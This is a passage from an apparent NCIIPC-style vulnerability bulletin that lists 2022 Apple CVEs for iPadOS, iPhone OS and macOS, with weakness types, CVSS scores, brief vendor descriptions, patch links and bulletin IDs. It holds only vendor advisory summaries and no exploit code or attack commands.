Exposure of Resource to Wrong Sphere	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions. **CVE ID : CVE-2022-22622**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/624
N/A	18-Mar-22	9.8	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges. **CVE ID : CVE-2022-22632**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/625
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved state management. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support	O-APP-IPAD-070422/626

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Monterey 12.3. Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22633**	.apple.com/en-us/HT213183	
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22634**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/627
Out-of-bounds Write	18-Mar-22	9.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22635**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/628
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4,	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/629

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22636**		
NULL Pointer Dereference	18-Mar-22	6.5	A null pointer dereference was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack. **CVE ID : CVE-2022-22638**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/630
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22639**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/631
Improper Restriction	18-Mar-22	7.8	A memory corruption issue was	https://support.apple.com/en-	O-APP-IPAD-070422/632

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Operations within the Bounds of a Memory Buffer			addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22640**	us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	9.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22641**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-IPAD-070422/633
N/A	18-Mar-22	9.8	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt. **CVE ID : CVE-2022-22642**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/634
N/A	18-Mar-22	7.5	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS	https://support.apple.com/en-us/HT213182, https://support	O-APP-IPAD-070422/635

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			15.4, macOS Monterey 12.3. A user may send audio and video in a FaceTime call without knowing that they have done so. **CVE ID : CVE-2022-22643**	.apple.com/en-us/HT213183	
Exposure of Resource to Wrong Sphere	18-Mar-22	6.1	The GSMA authentication panel could be presented on the lock screen. The issue was resolved by requiring device unlock to interact with the GSMA authentication panel. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access may be able to view and modify the carrier account information and settings from the lock screen. **CVE ID : CVE-2022-22652**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/636
Improper Input Validation	18-Mar-22	7.5	A logic issue was addressed with improved restrictions. This issue is fixed in iOS 15.4 and iPadOS 15.4. A malicious website may be able to access information about	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/637

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the user and their devices. **CVE ID : CVE-2022-22653**		
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. An attacker in a privileged network position may be able to leak sensitive user information. **CVE ID : CVE-2022-22659**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/638
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22666**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPAD-070422/639
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges.	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/640

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22667		
N/A	18-Mar-22	3.3	An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed. **CVE ID : CVE-2022-22670**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPAD-070422/641
N/A	18-Mar-22	4.6	An authentication issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to access photos from the lock screen. **CVE ID : CVE-2022-22671**	https://support.apple.com/en-us/HT213182	O-APP-IPAD-070422/642
Product: iphone_os					
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support	O-APP-IPHO-070422/643

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to gain root privileges. **CVE ID : CVE-2022-22578**	.apple.com/en-us/HT213053	
Exposure of Resource to Wrong Sphere	18-Mar-22	7.8	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22579**	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/644
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22584**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/645

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Link Resolution Before File Access ('Link Following')	18-Mar-22	7.5	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files. **CVE ID : CVE-2022-22585**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/646
Out-of-bounds Write	18-Mar-22	9.8	A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, macOS Big Sur 11.6.3, macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22587**	https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/647

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Uncontrolled Resource Consumption	18-Mar-22	5.5	A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 15.2.1 and iPadOS 15.2.1. Processing a maliciously crafted HomeKit accessory name may cause a denial of service. **CVE ID : CVE-2022-22588**	https://support.apple.com/en-us/HT213043	O-APP-IPHO-070422/648
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/649
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054,	O-APP-IPHO-070422/650

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			web content may lead to arbitrary code execution. **CVE ID : CVE-2022-22590**	https://support.apple.com/en-us/HT213053	
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/651
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information. **CVE ID : CVE-2022-22594**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-IPHO-070422/652

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22596**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPHO-070422/653
Exposure of Resource to Wrong Sphere	18-Mar-22	3.3	An issue with app access to camera metadata was addressed with improved logic. This issue is fixed in iOS 15.4 and iPadOS 15.4. An app may be able to learn information about the current camera view before being granted camera access. **CVE ID : CVE-2022-22598**	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/654
Incorrect Permission Assignment for Critical Resource	18-Mar-22	2.4	Description: A permissions issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. A person with physical access to a device may be able to use	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/655

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Siri to obtain some location information from the lock screen. **CVE ID : CVE-2022-22599**		
N/A	18-Mar-22	5.5	The issue was addressed with improved permissions logic. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to bypass certain Privacy preferences. **CVE ID : CVE-2022-22600**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/656
N/A	18-Mar-22	7.5	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other applications' settings. **CVE ID : CVE-2022-22609**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/657
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4,	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-	O-APP-IPHO-070422/658

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to arbitrary code execution. **CVE ID : CVE-2022-22611**	us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/659
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-	O-APP-IPHO-070422/660

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22613**	us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22614**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/661
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22615**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/662

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Incorrect Authorization	18-Mar-22	7.8	This issue was addressed with improved checks. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt. **CVE ID : CVE-2022-22618**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPHO-070422/663
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22620**	https://support.apple.com/en-us/HT213092, https://support.apple.com/en-us/HT213093, https://support.apple.com/en-us/HT213091	O-APP-IPHO-070422/664
Exposure of Sensitive Information to an Unauthorized Actor	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193,	O-APP-IPHO-070422/665

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access to an iOS device may be able to see sensitive information via keyboard suggestions. **CVE ID : CVE-2022-22621**	https://support.apple.com/en-us/HT213183	
Exposure of Resource to Wrong Sphere	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions. **CVE ID : CVE-2022-22622**	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/666
N/A	18-Mar-22	9.8	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges. **CVE ID : CVE-2022-22632**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/667
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved state	https://support.apple.com/en-us/HT213184, https://support	O-APP-IPHO-070422/668

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			management. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22633**	.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22634**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/669
Out-of-bounds Write	18-Mar-22	9.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22635**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/670

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22636**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/671
NULL Pointer Dereference	18-Mar-22	6.5	A null pointer dereference was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack. **CVE ID : CVE-2022-22638**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/672
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/673

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to gain elevated privileges. **CVE ID : CVE-2022-22639**		
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22640**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/674
Use After Free	18-Mar-22	9.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22641**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/675
N/A	18-Mar-22	9.8	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt.	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/676

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22642		
N/A	18-Mar-22	7.5	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. A user may send audio and video in a FaceTime call without knowing that they have done so. **CVE ID : CVE-2022-22643**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-IPHO-070422/677
Exposure of Resource to Wrong Sphere	18-Mar-22	6.1	The GSMA authentication panel could be presented on the lock screen. The issue was resolved by requiring device unlock to interact with the GSMA authentication panel. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access may be able to view and modify the carrier account information and settings from the lock screen. **CVE ID : CVE-2022-22652**	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/678
Improper Input Validation	18-Mar-22	7.5	A logic issue was addressed with improved restrictions. This	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/679

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue is fixed in iOS 15.4 and iPadOS 15.4. A malicious website may be able to access information about the user and their devices. **CVE ID : CVE-2022-22653**		
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. An attacker in a privileged network position may be able to leak sensitive user information. **CVE ID : CVE-2022-22659**	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/680
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22666**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPHO-070422/681
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/682

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22667**		
N/A	18-Mar-22	3.3	An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed. **CVE ID : CVE-2022-22670**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-IPHO-070422/683
N/A	18-Mar-22	4.6	An authentication issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to access photos from the lock screen. **CVE ID : CVE-2022-22671**	https://support.apple.com/en-us/HT213182	O-APP-IPHO-070422/684
Product: macos					
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-	O-APP-MACO-070422/685

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be able to gain root privileges. **CVE ID : CVE-2022-22578**	us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	
Exposure of Resource to Wrong Sphere	18-Mar-22	7.8	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22579**	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/686
Exposure of Resource to Wrong Sphere	18-Mar-22	5.5	A permissions issue was addressed with improved validation. This issue is fixed in Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055	O-APP-MACO-070422/687

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to access restricted files. **CVE ID : CVE-2022-22583**		
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22584**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/688
